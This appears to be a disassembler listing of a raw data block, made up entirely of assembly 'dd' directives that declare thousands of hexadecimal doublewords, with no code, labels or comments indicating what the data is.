		dd 984DB54h, 33E22100h,	0E1826AF1h, 0E6CC0028h,	819A2399h
		dd 0CF006DB1h, 0BA778D83h, 938ED42h, 0FBF473F2h, 18D71801h
		dd 850DC812h, 8B9BC21Fh, 0F6C1C069h, 0A3FE9E45h, 0E8DACAB0h
		dd 3FA919E4h, 0BB2EAC96h, 549A01B1h, 0CB30862Dh, 7EB294F0h
		dd 2801740Eh, 7C49C031h, 73D7B391h, 727100B9h, 584146B4h
		dd 18C3F436h, 0CB9930h,	0D7F6F58h, 1AF97E7Dh, 328F0100h
		dd 906724CDh, 1FF503AAh, 0A9107C9Bh, 2E233000h,	15590A47h
		dd 0EC580553h, 40D6A1BCh, 0DE509428h, 69001724h, 1B816F80h
		dd 0A63CE9h, 0D32EDF73h, 1106C5Fh, 313017EAh, 90D63997h
		dd 87200A7h, 0FDD1214Ch, 0D0001865h, 0BA89D355h, 607C981Fh
		dd 69918907h, 0AE506716h, 540109B3h, 0C6565A10h, 0DBC84BFBh
		dd 296B01F0h, 0E8902023h, 87D3C0FEh, 0D1128500h, 0CC97F1C8h
		dd 0BDCA157Eh, 341DB0C7h, 164F80DFh, 5B6259E8h,	8067CB3Ah
		dd 0FE8B5AD5h, 18102CD7h, 30E2D8BEh, 4479DB69h,	1F2B3501h
		dd 0E38780Ch, 6E2D881h,	81E32312h, 0D7036B28h, 0ACD4155Fh
		dd 4811D24h, 39D1DB0h, 0D42311D0h, 0EB189026h, 18888A15h
		dd 6669D2BEh, 987D00B7h, 43EE134Ah, 97055574h, 0B7CCD89h
		dd 0B5268840h, 0A0E324h, 0DFC78AE1h, 0D5B92C80h, 6BA86400h
		dd 7D1D0AC1h, 240100DDh, 4749113Ah, 0B2A079Ah, 0B72B80CCh
		dd 0FC069005h, 601A70h,	1034F0E3h, 84BDE880h, 0B10AC300h
		dd 7B7F142Bh, 0C49800C8h, 0B734CAFEh, 5B30DB3Ch, 90B69918h
		dd 60E16F47h, 46B90400h, 25FB585Dh, 9750471Ch, 0C30C98Bh
		dd 4101210Eh, 0C96D339Fh, 418FCEF3h, 5A27848Fh,	0A1F917E1h
		dd 0ECEE2618h, 6205179Bh, 97F26CA9h, 3399B800h,	7D6F02Ch
		dd 614A7A7Fh, 0A752F20Fh, 2110844Eh, 60605A90h,	0C3D91789h
		dd 0C1057C30h, 0E28011h, 0E3713328h, 12B154CAh,	1E34130Eh
		dd 6FC5E060h, 5293CDD3h, 0DB22DC83h, 3B15304h, 0DBC097AFh
		dd 4E6EDCh, 0D977211Fh,	7C5FC79Bh, 38A65A31h, 0C4490C06h
		dd 288D99D0h, 50D4D98Eh, 8810A857h, 510062B9h, 298FE0F5h
		dd 98AB203h, 21D61BFFh,	98D8FC02h, 600A1500h, 0A863519Eh
		dd 11882C42h, 0A6980C4h, 3CFE98B3h, 75E2A3h, 0F6B42D70h
		dd 0F1AB5C31h, 16E61F00h, 8FCE6AD9h, 2941C18Ch,	41B8EFD0h
		dd 1C33080h, 0B7DC0702h, 0BCDF0004h, 461D5A78h,	64A49555h
		dd 93036C00h, 6E704B2Fh, 30FD4846h, 7B04809Dh, 51F4D334h
		dd 0A575B300h, 0C6BAFE5Ch, 3B3E03F6h, 0FB5485DCh, 34085FF8h
		dd 919F3237h, 0A3A66BA0h, 0EFC10087h, 7CFE355Eh, 0DA49E5DDh
		dd 73F41874h, 93DE69h, 9133B564h, 5DF0A32Bh, 0B6F7CA00h
		dd 619C58DFh, 0E2291E38h, 0C5BE4A85h, 8000BE94h, 7AC8756Bh
		dd 0D20322E6h, 0BC368493h, 0E77CE809h, 2C27EB7Bh, 0C71F0608h
		dd 0E5BDA85h, 211BE05Fh, 9881E4B9h, 18310A08h, 1B4D2988h
		dd 0E81194A9h, 29305066h, 0D1A5FC30h, 71E4F7D5h, 2EF800BFh
		dd 35CE8FBh, 7606D292h,	0A7AD0ACh, 29E651h, 2E5E0C80h
		dd 0B491BF49h, 6B94A702h, 6C96E0B1h, 7B053B44h,	304139E0h
		dd 0F00D85Dh, 0C04E2354h, 49FE40h, 646B1A5Bh, 2840B29h
		dd 6C591001h, 0CB46B704h, 20244063h, 3187C144h,	0BE6A1085h
		dd 1CC674F0h, 401749A8h, 55C36214h, 500D558h, 51A339CDh
		dd 97F9B20h, 0B72B1291h, 54DAF002h, 154D3064h, 3245831Ch
		dd 0A8610092h, 5A37769Fh, 0F0044274h, 84CECF07h, 0A13AD48Bh
		dd 3D4201Eh, 0D9E1C94Bh, 3D9F9D88h, 0F6B664Ch, 89DD7E6Bh
		dd 72282011h, 0F857DA7Ch, 9E3131B3h, 0C622A051h, 0E4F8D60h
		dd 64373209h, 0D6A8B804h, 624C8019h, 4BA09212h,	59C1B005h
		dd 8880B824h, 18A79783h, 0F8046E57h, 41C8D7BBh,	1AEF80CCh
		dd 0E48AFBA1h, 814DED00h, 0E9482E45h, 99EA1C38h, 0C0931458h
		dd 71C4B12h, 42F5FED8h,	88CC1F5Bh, 37930200h, 31A8F983h
		dd 1858A656h, 99145ADAh, 0D9481006h, 18638454h,	0D0204Ah
		dd 8BFD803h, 29090EF9h,	82BB3DD5h, 0A1658410h, 2F1307FCh
		dd 0AE8E6022h, 9EC3DCE2h, 0DAB3160h, 22E7410Fh,	0D375C2C4h
		dd 18206694h, 3969FD43h, 7500D4C7h, 356D40C4h, 933CFAh
		dd 1B53005h, 2836A111h,	0FB5B6B01h, 662AAA60h, 0DFDE24FCh
		dd 92F54081h, 51324BD6h, 0E97690Ah, 840C8CB9h, 0B17BB006h
		dd 0DEE20300h, 6CE8F397h, 0B3C60D7h, 0DA3C8EF2h, 0A269E209h
		dd 97900204h, 3D2C711h,	7F98860Dh, 650FE7BFh, 20FBE9A7h
		dd 6F5D778h, 0F9CE0260h, 45D09E0h, 5CCF3CC0h, 0EC68B19h
		dd 0E4582EF0h, 52902C4Eh, 0D076254h, 61CE68A7h,	0E3344BD2h
		dd 0B8B0F8DBh, 73054E41h, 83C32636h, 4CDA9098h,	1FC4484Ch
		dd 50C840CCh, 0C20DC08Ch, 0A65C9080h, 3204B8A2h, 7B0E4CE4h
		dd 216F1FBBh, 751DE0B3h, 586798F0h, 5C48BC65h, 1F342478h
		dd 20F01200h, 2CD19934h, 4321EF02h, 661A61DBh, 89149B74h
		dd 1010FD58h, 0AF00399Bh, 8687EBCDh, 0FC743Eh, 0BF41C58Eh
		dd 3BFA1F4Fh, 58DB6204h, 0A4CC2906h, 9330A463h,	92CD6148h
		dd 5D90108Dh, 0CFB0A8D5h, 0B41DF98h, 6C83B231h,	61002EBEh
		dd 0F286010Bh, 0A1C67Fh, 127B2FE3h, 49AC16B3h, 0C738DB00h
		dd 7C6ACC60h, 0C49C009h, 7BF6A391h, 0DE0017B0h,	1368B888h
		dd 28E50D64h, 0A1849BCAh, 2CC4D600h, 9A2E0410h,	0CDC1458h
		dd 91C49A1h, 7BA4780Ch,	9E153448h, 0DAF06B62h, 2CC4658h
		dd 57378449h, 34534EDEh, 8FCD0702h, 90862983h, 0FD00F9D8h
		dd 0BDBF74F1h, 129B3613h, 4E16D1C0h, 8883CD30h,	28C8BEB2h
		dd 0E8B048C2h, 34005890h, 54957B65h, 136EAA49h,	62B8C92Eh
		dd 2C6E7E34h, 52076022h, 4158C030h, 61A60070h, 0B75D383Eh
		dd 7B4D3912h, 0A4311830h, 5ED229h, 22144BE9h, 0A39CBBE3h
		dd 0D9938B0Ah, 5A08A06Bh, 349009D8h, 0C7D6010h,	0FDF471C0h
		dd 0E0B9181h, 0ED609D18h
		dd 7CDAC03Ch, 0F8E71C35h, 8FBCF749h, 8D736145h,	0A861A538h
		dd 0EFC05C07h, 5514Ch, 1E6ACF96h, 0C899BAC2h, 7E7A0212h
		dd 49A4B498h, 7B863CB9h, 93004906h, 0EB0DACBFh,	0B8B2162h
		dd 4C5172B5h, 0D0C20C06h, 21D6E622h, 13117340h,	0C7899700h
		dd 2A331536h, 0F22444F6h, 4DC1A831h, 0C2356DBh,	600B4101h
		dd 48CD6897h, 484E3154h, 20981032h, 0F6C28A2Ah,	6516A7EEh
		dd 85ECD915h, 13F82B2Ch, 0C30C2031h, 8F001A4Ah,	44F2381Ch
		dd 2EF9D6D5h, 10644D45h, 0DD0A84CCh, 7908E27h, 73EFD27Eh
		dd 0F76FB9C3h, 0FD3B8020h, 8221C0CDh, 55B1746h,	0B947CC1Dh
		dd 9B506824h, 0D4988A8Eh, 663F6CBCh, 20A09F6Ah,	0E30C8FF8h
		dd 9168E09Eh, 48F111h, 0EFC45C61h, 513B6901h, 0C544D0B8h
		dd 8C3C96FCh, 89C2F910h, 71121C00h, 7A671E56h, 22AC9B80h
		dd 0F4CE0E68h, 1DEA98CCh, 4014E4FCh, 0BA6E45B9h, 0AE79048Eh
		dd 0C528F107h, 5E608C34h, 128BF20Ah, 24E2A003h,	1A721029h
		dd 374B80h, 0BB09CA62h,	0EF234F7Fh, 99BD4609h, 820B85D5h
		dd 8B199860h, 0D98503B2h, 588FE49Ch, 8DCBF114h,	8749368h
		dd 1E3D6D80h, 81356990h, 22DE9401h, 33A4386Ch, 0C0F619D8h
		dd 5CE45CC0h, 87096070h, 0FC01E79Fh, 2A8FE4Fh, 0EC94C6B9h
		dd 7F861F12h, 0BAB1807Ah, 0C0E089F8h, 92F4F505h, 108A6C28h
		dd 4A00B442h, 90E32D3h,	415490BAh, 280E4964h, 0A043BEE3h
		dd 0BD0A0974h, 847F594Bh, 0B9414EC8h, 7430D068h, 7C4DFF1Ah
		dd 0A999E1E3h, 80803022h, 0A583F345h, 5E8B7500h, 0CA1389Bh
		dd 7678614Ch, 0E4242E4Eh, 0B0254854h, 0C8808046h, 0BAB9046Ah
		dd 0F0FC98F0h, 0C0C9385Ah, 10F6C1E7h, 123857D4h, 5088AC00h
		dd 652BE842h, 46BA12B6h, 0EF0C816Dh, 0B6AC44A1h, 0F8582418h
		dd 3017B421h, 54054C20h, 0B2D30009h, 0C927E3EFh, 74B2028h
		dd 0E617D3A0h, 0E5FB0798h, 0C76E5A0Ah, 0FCE91C24h, 1F00BCB9h
		dd 1361392Fh, 21FE0355h, 898CB505h, 0F4AE2280h,	4764E809h
		dd 0DA8C38BEh, 12589955h, 3C702030h, 0AE25B2CEh, 129CB042h
		dd 79D3D3h, 14C39938h, 0DF24FAF0h, 21043454h, 98A557C2h
		dd 60628031h, 448C6B2Ah, 9899FCE3h, 0C7C9A800h,	0F8FBF2h
		dd 78DA4CA6h, 0BB54318h, 49F1B409h, 246699h, 86411D15h
		dd 0C3C58236h, 2E02949Bh, 840962C2h, 17408B68h,	0C3E1F5EDh
		dd 9D65A300h, 3B82622Fh, 2826ED68h, 0E1DABE18h,	0B00C2EAh
		dd 404A011Dh, 0D2FF95Ch, 3DA228B1h, 48A83826h, 0A0414EFCh
		dd 598FDC49h, 4C01D862h, 0D9777B2Eh, 81EC38B8h,	904A8D01h
		dd 23F8E02Eh, 66CFC300h, 6CB93381h, 0A1A17D71h,	7208D794h
		dd 67F88h, 8163BC28h, 0B55ABE54h, 0F16F4100h, 34465693h
		dd 892499CDh, 34107B12h, 5B00577Dh, 0BC29645Eh,	0E2D7566h
		dd 0DFBE4D77h, 872EB3E0h, 0B2097904h, 82A30C95h, 2FD65A3Ch
		dd 9E26B0A0h, 455DDC69h, 270684D8h, 48CE088Ch, 0D892C493h
		dd 14BA15B8h, 93CD9A04h, 40B0B98Bh, 0BC704C36h,	69001022h
		dd 0BF763EA0h, 30403511h, 1940876Bh, 4E635890h,	10F7D91h
		dd 84C1C731h, 0D20A6B07h, 0DB114465h, 15539F00h, 6E03751Ah
		dd 0DA4FE00h, 0ACB07341h, 0D7F330C9h, 8FE20829h, 0E8BA6F0Bh
		dd 0C1909A1Fh, 30099FC8h, 0CC0F99ACh, 0A943B95Ah, 7A48B854h
		dd 9A12754Ch, 0E008A1BCh, 3C92CF11h, 0DDB2A0F4h, 4DD6004Bh
		dd 5EA70B1Eh, 0D013F41h, 2281AA0Eh, 8200672h, 4CDA88FFh
		dd 3160D891h, 254DFD65h, 4C989A66h, 0D0A8DDBEh,	210064B9h
		dd 510E8DD4h, 0CE386Ch,	52A54131h, 636B0B70h, 790270B0h
		dd 55673A64h, 44A0CE04h, 7402B9D4h, 0EFC13AD2h,	63F4B26Fh
		dd 0A84EDC1Ch, 630FBD00h, 722ECD40h, 1100D347h,	28CA367Bh
		dd 0B91524D8h, 0A07890Ch, 4D7460C4h, 4964788Ah,	0CD09147Ch
		dd 864A18Eh, 30695CB4h,	0EB072110h, 0DD9032h, 14378AB7h
		dd 7A4C21E9h, 0CAB4004Dh, 0B3480D58h, 8FC70033h, 5EEEFCB7h
		dd 224EA34Ah, 88B2C865h, 0BD493E00h, 9D3FB205h,	0A2604A01h
		dd 53EA3566h, 7BCCF9DBh, 46D85860h, 22844C6Bh, 8FCF19D6h
		dd 2C2E51A6h, 0C0A07464h, 524DBA36h, 59E72298h,	4D8B24C3h
		dd 0AD328C80h, 7258A79h, 4FB09021h, 5C128E1Bh, 0C41DB47Bh
		dd 999D4780h, 245FA3C6h, 0E9608E96h, 411EA841h,	23364BCh
		dd 64F27Bh, 0E2AEF6AFh,	0CAE12A1Ah, 5AB07F09h, 0DD308031h
		dd 4F935BE5h, 550C302Dh, 37F6886Ch, 3C02FBE8h, 64A660Ah
		dd 4F34510Dh, 83FB8560h, 0B301B9DCh, 90BBF28Ah,	5B11E15Ch
		dd 264037C0h, 3960D8B9h, 4A1BEFh, 0F39FC2AEh, 0A5C9F6E4h
		dd 0D68CFD01h, 1D5A790Bh, 0B9004C37h, 0D82B8290h, 0A700CC8Dh
		dd 7FB8460Ah, 4C8F48CAh, 9A0B7C72h, 0F840861Fh,	3081BD28h
		dd 0A20F2C69h, 62E0A516h, 546B3CDCh, 5A17C093h,	43DBC808h
		dd 3902A786h, 15FB5549h, 9F740ABh, 88D45213h, 0C105ED87h
		dd 7816498Bh, 0B0B3C0A0h, 2E41FA60h, 42ECC145h,	0E1DFC6DCh
		dd 682D8068h, 1664AE9Eh, 0F8CC36C1h, 69E35231h,	0F8411D05h
		dd 0C123688h, 0A6EBBD21h, 0F4C103C1h, 7AB1FECCh, 8B500258h
		dd 100F7892h, 4A90C859h, 0FE56391Eh, 5134882Eh,	901C1218h
		dd 304B0250h, 49C9DCC1h, 0B40041B3h, 89DB26E6h,	1343F4DEh
		dd 44059928h, 0A998CE18h, 0C0704868h, 0BFD0A4Bh, 5510312h
		dd 9C184A69h, 118CD821h, 8077B0Fh, 0B859D0EDh, 5E26047h
		dd 89584233h, 8CCB85A0h, 148160B2h, 0F8254121h,	0F44B2F80h
		dd 0B7628040h, 1371F5E6h, 9886ADB0h, 3D0BDB30h,	904B8FCEh
		dd 75414A0Ch, 0B9B10182h, 0E83F9049h, 972462B7h, 9D7D48Ch
		dd 5AC3AEB8h, 0F871E0E2h, 0AFD1B701h, 0B1D47738h, 7D55EEA6h
		dd 53120437h, 0B0BA3C58h, 8B85264Ch, 6180D16Ch,	0D04A867Ah
		dd 76BB6600h, 0AF200445h, 0BA7E1E3Ch, 0A19440B3h, 649AD126h
		dd 0B0513E27h, 607B1958h, 8569A90Dh, 0CD1E2F0Eh, 0EE44EA40h
		dd 8088F41Ch, 55CC0026h, 792A1B3Eh, 0DF598DEAh,	1C2491B4h
		dd 59047788h, 149809C2h, 0C4B131h, 227F26E1h, 800652Eh
		dd 0F7E69911h, 946BCF92h, 58540544h, 278022ACh,	0F2813865h
		dd 0A6B2D3F0h, 9C626859h, 61F9F0Eh, 3AE6C320h, 0E11FEAF4h
		dd 78168C72h, 87B51500h, 1FB1579Bh, 6580BFA9h, 341DF065h
		dd 0DB440480h, 0E845BE85h, 61FC694Ch, 0ED00CC51h, 0D01AD8A9h
		dd 0EF313AF1h, 0DBB07B80h, 0AA2C600Ch, 0F1CE549Ch, 122D8900h
		dd 0AFD8C340h, 36862B00h, 44914635h, 311B285Dh,	0C90E0030h
		dd 679AD245h, 0B41C0622h, 8282A874h, 40A729D7h,	0C3087CACh
		dd 6D43DF59h, 0F597D087h, 0ED001AD1h, 89907BE1h, 0A4B0585Ch
		dd 0DE0C22ACh, 70496B00h, 0B008A8C4h, 2696766Eh, 0C01031B9h
		dd 0F9731D4Fh, 0C823467Eh, 9A2BF83h, 284F305Ah,	7040DEAEh
		dd 0E16695Dh, 9EF92DC7h, 646B5818h, 15A1BF00h, 7A484EBDh
		dd 5B28025Ah, 441CA4D9h, 5CBA64E0h, 0B97E2D19h,	5100DE9h
		dd 0F9B0E983h, 0F0601D09h, 2148534h, 120068A2h,	5A254B4Dh
		dd 8E1C2F7Bh, 90AFCEEEh, 5BE694h, 0BB8C7F74h, 6BEBC2E3h
		dd 0C676011Eh, 2633A380h, 0B094E178h, 0AAE344FCh, 148958BBh
		dd 47546831h, 86EB1E97h, 8778405Ch, 95F524C1h, 0FB7D7C01h
		dd 0E781592Eh, 42008423h, 3629276Ah, 88092FA4h,	907C76DEh
		dd 7EE71674h, 0DC261F66h, 624C26FAh, 0D4E8C6BEh, 582E2B16h
		dd 0FD00FD9Ah, 54F6B67Ch
		dd 34405A90h, 2F380038h, 0B8156870h, 98F2A404h,	74A04FD6h
		dd 22CF435Fh, 0F87C8493h, 490CA19Bh, 1D1FD440h,	4EECC56Ch
		dd 12A4A5D1h, 34199124h, 30B99608h, 0CE6C5382h,	4E805692h
		dd 48BA4B1Eh, 41B9A080h, 7D1446F7h, 2CFD76h, 0C9B26ED4h
		dd 70CE839h, 0FB97086Bh, 0D8AF558Dh, 9B22CDF8h,	6491695h
		dd 2AC72AAh, 0E1469061h, 86544031h, 98F6DEC0h, 5803DD2Ch
		dd 7C418E45h, 1AE93447h, 58103A12h, 990488DBh, 338A280Bh
		dd 0C5C0CEDEh, 40127BF0h, 0A07C3EF0h, 4F001E79h, 9BEB5587h
		dd 2B2046Ah, 370AFD2Ah,	94D24790h, 70407D5Ah, 0E1B79180h
		dd 344C0048h, 0DAAB9E9Dh, 21C2134Dh, 8F0C5CB9h,	605B1180h
		dd 0CA1FB9D4h, 48CE044Bh, 77C8FA41h, 21270049h,	8858BE5Fh
		dd 7B007F0Ch, 405C147h,	624EDB80h, 7C306101h, 71C1478h
		dd 0B080D746h, 6FAD69Ch, 91410089h, 755173C9h, 400A2390h
		dd 38F3D919h, 0BEA1F400h, 582E8F4Dh, 990E29EBh,	0C0C3EFD3h
		dd 44D96E08h, 0B8E0704Ah, 74B9BA40h, 80049976h,	0BBFBA73Eh
		dd 5F4E463Ch, 51CF3C3Ch, 59F05499h, 44ACA4D0h, 0F4008212h
		dd 0FAEE06D1h, 9321C924h, 7B10FF4h, 0EFE8C877h,	70C9B709h
		dd 54598Dh, 68C0FCB6h, 1605901Eh, 7C6AC8EEh, 2475DCC8h
		dd 2F7F28Ch, 893B5ECh, 0E14FE446h, 401ED181h, 9BCDEECh
		dd 54E3A683h, 24B690ECh, 5F90C4h, 1C7327E7h, 0DEEE5B7Bh
		dd 0B50EF3Fh, 40EBCCF6h, 592F584h, 0C8591C37h, 1A88F053h
		dd 887DD745h, 3E17F094h, 0F628C5A8h, 8EFB0028h,	796A53Bh
		dd 0ACD4960Ch, 0DC0A13BCh, 6100E8DCh, 0C54C3790h, 489B135h
		dd 94D3B343h, 0C198E839h, 45DC222h, 2906418Bh, 5007896h
		dd 0B3A5B273h, 831D4Dh,	90F99796h, 6CF5270Dh, 0D668A349h
		dd 917AF020h, 6DD5057Eh, 0B08462CEh, 0F2882EA8h, 12CF3FF5h
		dd 33686900h, 0F1AF84DAh, 4A4B4300h, 92041906h,	429CB09Dh
		dd 0D9447518h, 954E7CDAh, 0CD42019h, 7C504D12h,	5800604Bh
		dd 0C09EFCDh, 575559Bh,	2804DA2Ch, 2149175Bh, 9F8468B8h
		dd 0DEDFBE88h, 6A320131h, 284ED178h, 7C63C240h,	0BFB2008h
		dd 2D03F3B5h, 5227B294h, 1AA3E0D4h, 4640630h, 51E01807h
		dd 0C25A6B09h, 0D920E048h, 0CC5652C1h, 0E0263027h, 1E07D6E8h
		dd 5FC3ED8Dh, 0C9D86052h, 0C87687C0h, 0B002007Dh, 98F58224h
		dd 0C02703C4h, 409062B9h, 2CDCCAF0h, 10417A3h, 3FC1D5DEh
		dd 0C25469D3h, 3E4C21Fh, 0F900DBFCh, 0CF3334FDh, 134C3149h
		dd 621B8EB4h, 7C497EF0h, 34C227Ch, 0A28EDFB9h, 675CA0CDh
		dd 213F0044h, 0F228A3DEh, 0D64A9399h, 0D09E7481h, 3ADB4901h
		dd 1C921C20h, 168713C2h, 9E149946h, 228989D0h, 0C2E08E71h
		dd 0F116C4A2h, 0FB90068h, 0EE376794h, 572BC300h, 0A329460Bh
		dd 0A4080195h, 97CB56B7h, 107C48CAh, 5DC3CC44h,	0F5C19C88h
		dd 483492E0h, 10455AD4h, 84DC60h, 0DB6C5165h, 0C7129103h
		dd 6282449Eh, 0A15F5D3h, 61570938h, 0D2F794DAh,	4C62C824h
		dd 0A887D084h, 0C660A704h, 7B50540h, 6A3F5F89h,	599C9012h
		dd 0A20041B1h, 55B42057h, 12C1647Ah, 1205C74Fh,	0DA7C2338h
		dd 678C8F5h, 73400B50h,	0A8F1E209h, 5344CC46h, 3F00E86Bh
		dd 0B7BD89D6h, 0AB00AD1Dh, 0EA184413h, 0B8B7943h, 0FD462172h
		dd 7EE17C48h, 7D2B4004h, 8F645071h, 20010038h, 0C15896Bh
		dd 83F230F6h, 0B3EBE722h, 4D392A09h, 0E902416h,	10335CCDh
		dd 86822450h, 0DF075542h, 0E485DAB1h, 0E66C2845h, 0B2579C8h
		dd 6640D328h, 0C7E984A0h, 0C4593542h, 0C0C49008h, 0C9E3C8A7h
		dd 1C079E5h, 0FFB26C4h,	0D4D64668h, 5A14B435h, 8B7C7184h
		dd 0C1EC681Ch, 285A09C8h, 0D9DB46h, 0EC042112h,	2003574h
		dd 7E3E389Ah, 5390B916h, 31048CD0h, 4BF9C37Ch, 1598B44Eh
		dd 0B338D9C0h, 8D65807Dh, 0E4895385h, 93601CDCh, 226FB07h
		dd 92CDE214h, 2201A8D2h, 0FF6C8473h, 402B7AFDh,	0C31F24E8h
		dd 6D0185B3h, 8E34A13Fh, 0E470B098h, 4F1CB88Dh,	9A4440BEh
		dd 0CA6A3BC4h, 2234E102h, 0D4BA252Eh, 61DAD058h, 14C80D4Eh
		dd 0FD841334h, 484880D8h, 0FF4B62DBh, 8085FC48h, 16F3CD87h
		dd 2A0038BDh, 0DF98DC6h, 0DB127Eh, 4A0680C1h, 0EA299087h
		dd 8804E05Bh, 0F212356Ch, 0D0040784h, 17F0C1A3h, 0BF07D0Ah
		dd 806D6BDFh, 0BA4A8C6Ch, 0BCEC88h, 0F59D72A3h,	8A307F6Fh
		dd 814AC802h, 5290CE56h, 8CB3047Ch, 81468339h, 10A78DE0h
		dd 1036E5Ch, 0CCD26807h, 306C33DEh, 0A702E85Ch,	0F4498E94h
		dd 0A0CB03D6h, 69013DB8h, 3C514026h, 0B170C96h,	872F8DDh
		dd 21710C80h, 0BF00786Fh, 5F1AAE2h, 137ACF9h, 467E1BC3h
		dd 3A1E343Fh, 108D1C62h, 0E8A8D9BEh, 35000F22h,	2B7B58C7h
		dd 97685E90h, 400AD824h, 411D4FE2h, 0F39007A4h,	10127C53h
		dd 0ABFF918Fh, 11949A4Dh, 15281851h, 34E020C8h,	1DEA0200h
		dd 41203E79h, 9098A155h, 1D2C3015h, 1101D68Bh, 0F5173153h
		dd 64261013h, 9FEC1A29h, 6DB6B0B8h, 2B00B146h, 92188C3Eh
		dd 13F04116h, 8085E25h,	18AC0E0Ch, 7B8A743Ah, 2A02444h
		dd 45A38DAh, 2150B4D6h,	423898C4h, 96470086h, 0A798C899h
		dd 54F82535h, 0C9504498h, 8B1BEF05h, 94E68C61h,	8750884Fh
		dd 4882B000h, 89C7B1ECh, 0B71C773Eh, 0B2007416h, 59FDE9B5h
		dd 0F313D82h, 381ED3BEh, 0B3212DA2h, 6EB03468h,	26E87873h
		dd 185BE179h, 0BA6CCC04h, 1B808B48h, 0EF883AFAh, 6E53B27h
		dd 0CEBF9E82h, 50F1341Eh, 74A24A96h, 0E35F8500h, 58F7725Dh
		dd 0F998F0C0h, 14D6335h, 0C2ADC71Eh, 3BCE6A12h,	0FB244020h
		dd 5EB20202h, 21D2064Dh, 0ECA700D1h, 208748F4h,	4A0F32Dh
		dd 99DF6CD2h, 43788400h, 8A9F325Bh, 6458285Ch, 0FC974468h
		dd 0AF02417Fh, 0C4583B23h, 0C0C9E24Bh, 0A709E87h, 97FFDF47h
		dd 6CE86B6Ch, 890009CCh, 40E2BEA1h, 1D1F105Dh, 705CC1BDh
		dd 0B50A06C9h, 5CD49295h, 397B709Ch, 35AA8F09h,	9D944686h
		dd 1FB308A0h, 29B0E87Bh, 33BD41Ch, 46E19601h, 7CE485F6h
		dd 358F19CAh, 327D3174h, 69D91CCCh, 0FE67AD80h,	3CB6D073h
		dd 3C5C7162h, 0E29F3312h, 0FD4287A4h, 0E2A1999Ch, 78E7001Dh
		dd 0C47B8755h, 57558D8h, 0F3C0DB14h, 41041F60h,	0B140519Ch
		dd 0F66920E8h, 22535F8Fh, 593285C8h, 0D8298478h, 3F00F618h
		dd 547BA6CDh, 4F1DD0A6h, 40BC9E22h, 2579F871h, 0FB30737Ah
		dd 1C91B698h, 663904F9h, 0F055405Ah, 0E44447A0h, 3BF8C88Ch
		dd 0C7BC91AFh, 16D9B2E4h, 74649149h, 0E5308CFCh, 0A7D0CD00h
		dd 0CF5F7842h, 0B2BD01EDh, 0CA66FC7Fh, 3A6C491Ch, 9A182420h
		dd 2B3E0192h, 1007815Dh, 0DA518923h, 5E00524Ch,	6A3C4030h
		dd 0CEBD6241h, 7A564D03h, 0B29C49ADh, 151CD384h, 4E00907Ch
		dd 0EA6C7D6Eh, 0E31E16F0h, 0BB9F1D32h, 6AC13140h, 9468A393h
		dd 80149044h, 781F8AB3h, 24355F90h, 0F900858h, 0C440CD44h
		dd 21C92A63h, 8D809E0Bh, 9C5B8Ch, 8EBFB287h, 90951521h
		dd 0CA4F54h, 0ABD9EC18h, 93FA61Ch, 686C2102h, 0CD1FF7C5h
		dd 176088F8h, 0CE7060A5h, 50919599h, 14301941h,	16D25C4h
		dd 7C0278C6h, 9FA2AC77h, 0CBDC5653h, 41EC6000h,	0F54FD510h
		dd 0B725D89Bh, 83355840h, 7130BD0Bh, 6064E3h, 0C7FBC90Ch
		dd 0B4606197h, 85EA4112h, 4B001CE2h, 0AACF020h,	0A9CB1D63h
		dd 0CD6821CCh, 0D8689893h
		dd 5742CEC2h, 121200FBh, 0E10310B2h, 585FA52Dh,	2FD6DEF8h
		dd 1C908A00h, 0CC5C5BB9h, 4D660B49h, 0AC4487CEh, 0B97D8301h
		dd 15037641h, 402076CEh, 94BC43E9h, 0C8487B4Dh,	0CEC09FD7h
		dd 72E58CC9h, 212C9822h, 0CE4440B8h, 4662000Ch,	5A6B84EBh
		dd 1700D4D2h, 0E20BE542h, 27A08560h, 68C44E9Dh,	6C36300h
		dd 298EE03Bh, 0C909685h, 6221D1F3h, 5351D301h, 0B91A23E0h
		dd 0B8734F0h, 0DA8B5B1Bh, 0B860A012h, 9201A826h, 54AAE003h
		dd 0D0610704h, 58242C6Fh, 0FDFCB818h, 26BA9F50h, 0E4C45379h
		dd 8C54E9C3h, 3EF349C7h, 0D800FC26h, 0F0F5D1E2h, 0AF24B142h
		dd 6F9E0CCBh, 6DD39285h, 858CBC08h, 44C646B3h, 483524F8h
		dd 4690428Eh, 0F848D876h, 0C4906AC5h, 2B853D5h,	4A917441h
		dd 38ECCCFAh, 0F499907Fh, 0B7E9D260h, 0F9800024h, 110F6DFDh
		dd 834E5E57h, 7034C30h,	994A40Dh, 55184C79h, 0C06028EAh
		dd 4A39D3D6h, 492E65h, 27BD4C08h, 70DB8B0h, 24D1275Bh
		dd 0D4697C6Bh, 9793A500h, 8370B0A7h, 46210800h,	1DA3BE74h
		dd 0BDDCB89Ah, 0D100F414h, 0F487DF4Eh, 4BB7175Ah, 0A7DC17DAh
		dd 0EDC32710h, 6824DCh,	712AD076h, 68122D24h, 10C954B6h
		dd 0A4102813h, 4802A445h, 90AF14D4h, 0FCC150h, 9DD97679h
		dd 0D55026FFh, 19F2097Bh, 0F1F92302h, 0F0C290D2h, 9C915C54h
		dd 0CDD0E409h, 4E001CCCh, 0A80F732Eh, 14F7CE54h, 0F490CC99h
		dd 2FEC2601h, 5C5545E0h, 119D5EF0h, 70B9A6Ch, 69F98DD8h
		dd 0AF4D1143h, 310E47DFh, 80362CD0h, 87442B60h,	401C2EFCh
		dd 1CC0D229h, 31000677h, 0C56273D4h, 0BE8B4BACh, 0E9AB4404h
		dd 1127920h, 892DFEFh, 90B9229Ch, 260038E7h, 0AA7C46D8h
		dd 8CB90E2Bh, 0D9C43FC2h, 0C7808831h, 0FB106F00h, 21B8D648h
		dd 8438B74Fh, 0C43CEFCDh, 0CCA12FF4h, 947F53D4h, 0A6D01D13h
		dd 0DB5E1100h, 339A0404h, 30688132h, 40E6D26Ch,	34B21D05h
		dd 54EC2608h, 6B715A88h, 86000823h, 0E73C6D87h,	441D9184h
		dd 0A5C088A6h, 54D159A4h, 0CDF7FECh, 0CA15064Dh, 29D6341h
		dd 2A04334h, 0F84E89B7h, 0E46488A2h, 84FD4926h,	37F27240h
		dd 0BB016h, 3CC1D565h, 0B20475F0h, 4A6ACD1Ch, 805E48C0h
		dd 2F6450D7h, 24B15C31h, 7C202F06h, 0DE92CE6Bh,	0A75917E1h
		dd 0F7C306D0h, 219630h,	4378B357h, 0F84938ADh, 0DBA4500h
